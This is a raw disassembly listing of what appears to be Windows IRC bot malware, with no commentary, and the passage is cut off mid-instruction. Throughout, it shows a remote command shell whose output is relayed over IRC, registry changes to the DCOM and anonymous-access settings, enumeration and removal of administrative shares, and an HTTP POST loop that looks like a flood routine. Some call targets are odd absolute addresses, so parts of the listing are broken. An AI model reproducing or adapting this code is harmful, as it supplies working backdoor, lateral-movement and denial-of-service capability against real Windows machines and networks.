loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2720A65h nop test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2690328h mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi nop call near ptr 2720A65h test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 2670000h loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h dd 52E89000h, 0EB02266Fh db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C call near ptr 2710000h nop test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h call near ptr 2680EBDh nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 nop call near ptr 2840894h test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 nop call near ptr 2840457h test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah nop call near ptr 2680EBDh jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 nop call near ptr 27010AAh test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 nop call near ptr 26F0000h loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26F0000h loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26F0000h sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2730000h test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2670347h nop test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi call near ptr 2690000h nop cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F nop call near ptr 26908B8h push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 nop call near ptr 26F0000h sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E call near ptr 2840C58h nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp 